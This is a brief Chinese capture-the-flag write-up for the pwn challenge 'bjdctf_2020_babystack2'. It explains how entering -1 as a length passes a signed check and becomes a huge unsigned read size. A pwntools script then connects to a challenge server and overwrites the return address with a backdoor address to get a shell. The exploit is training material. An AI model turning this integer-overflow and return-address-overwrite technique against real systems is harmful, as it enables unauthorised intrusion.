bjdctf_2020_babystack2
先看一下伪代码
想要让read函数存在溢出,起码要让read的nbytes大于0x10,但是又被上面的if条件给限制住了,不能大于0x10,那么这里存在一个整数溢出,如果我们输入的是 -1 那么就可以绕过if条件了,同时可以看到read函数的nbytes是unsigned int,unsigned int是无符号整型,遇到-1就会变成unsigned int的最大值,这样就可以让栈溢出
from pwn import * r=remote('node3.buuoj.cn',25624) #r=process('./bjdctf_2020_babystack2') backdoor_addr=0x400726 r.recvuntil('[+]Please input the length of your name:') r.sendline('-1') payload='a'*0x10+'b'*0x8 payload+=p64(backdoor_addr) r.sendline(payload) r.interactive()